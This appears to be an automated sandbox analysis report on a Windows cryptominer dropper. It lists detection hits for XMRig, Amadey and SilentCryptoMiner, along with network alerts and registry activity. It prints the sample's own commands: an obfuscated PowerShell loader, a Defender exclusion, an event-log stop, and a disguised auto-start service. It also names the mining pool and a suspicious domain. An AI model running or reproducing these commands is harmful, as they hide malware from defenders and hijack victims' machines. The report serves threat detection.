
Source	Rule	Description	Author	Strings
66.2.dialer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
66.2.dialer.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x370008:$a1: mining.set_target 0x362230:$a2: XMRIG_HOSTNAME 0x364ba8:$a3: Usage: xmrig [OPTIONS] 0x362208:$a4: XMRIG_VERSION
66.2.dialer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5761:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
66.2.dialer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5fd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9600:$s3: \\.\WinRing0_ 0x3671a8:$s4: pool_wallet 0x3615d8:$s5: cryptonight 0x3615e8:$s5: cryptonight 0x3615f8:$s5: cryptonight 0x361608:$s5: cryptonight 0x361620:$s5: cryptonight 0x361630:$s5: cryptonight 0x361640:$s5: cryptonight 0x361658:$s5: cryptonight 0x361668:$s5: cryptonight 0x361680:$s5: cryptonight 0x361698:$s5: cryptonight 0x3616a8:$s5: cryptonight 0x3616b8:$s5: cryptonight 0x3616c8:$s5: cryptonight 0x3616e0:$s5: cryptonight 0x3616f8:$s5: cryptonight 0x361708:$s5: cryptonight 0x361718:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\egFMhHSlmf.exe", ParentImage: C:\Users\user\Desktop\egFMhHSlmf.exe, ParentProcessId: 1764, ParentProcessName: egFMhHSlmf.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 2676, ProcessName: powercfg.exe

System Summary

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMwf=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''

Sigma detected: Potential WinAPI Calls Via CommandLine

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMwf=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\egFMhHSlmf.exe", ParentImage: C:\Users\user\Desktop\egFMhHSlmf.exe, ParentProcessId: 1764, ParentProcessName: egFMhHSlmf.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7056, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 3820, ParentProcessName: dllhost.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 928, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\egFMhHSlmf.exe", ParentImage: C:\Users\user\Desktop\egFMhHSlmf.exe, ParentProcessId: 1764, ParentProcessName: egFMhHSlmf.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto", ProcessId: 3540, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\egFMhHSlmf.exe", ParentImage: C:\Users\user\Desktop\egFMhHSlmf.exe, ParentProcessId: 1764, ParentProcessName: egFMhHSlmf.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7056, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\egFMhHSlmf.exe", ParentImage: C:\Users\user\Desktop\egFMhHSlmf.exe, ParentProcessId: 1764, ParentProcessName: egFMhHSlmf.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 5704, ProcessName: sc.exe

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T04:56:07.950720+0200	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.6	61214	1.1.1.1	53	UDP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T04:56:13.700818+0200	2044697	1	A Network Trojan was detected	192.168.2.6	49760	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T04:57:08.272795+0200	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.6	65331	188.114.97.3	443	TCP
2024-10-10T04:58:14.573518+0200	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.6	65333	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su	Virustotal: Detection: 12%			Perma Link
Source: pool.supportxmr.com	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Google\Chrome\updater.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\Google\Chrome\updater.exe	Virustotal: Detection: 75%			Perma Link

Multi AV Scanner detection for submitted file

Source: egFMhHSlmf.exe	ReversingLabs: Detection: 73%
Source: egFMhHSlmf.exe	Virustotal: Detection: 75%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\System32\dialer.exe	Code function: 26_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,		26_2_0000000140001000
Source: C:\Windows\System32\dialer.exe	Code function: 63_2_0000000140001000 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,		63_2_0000000140001000

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 66.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000042.00000002.3447887034.0000028A981B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Found strings related to Crypto-Mining

Source: dialer.exe

String found in binary or memory: cryptonight/0

Source: egFMhHSlmf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000025.00000003.2206694268.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
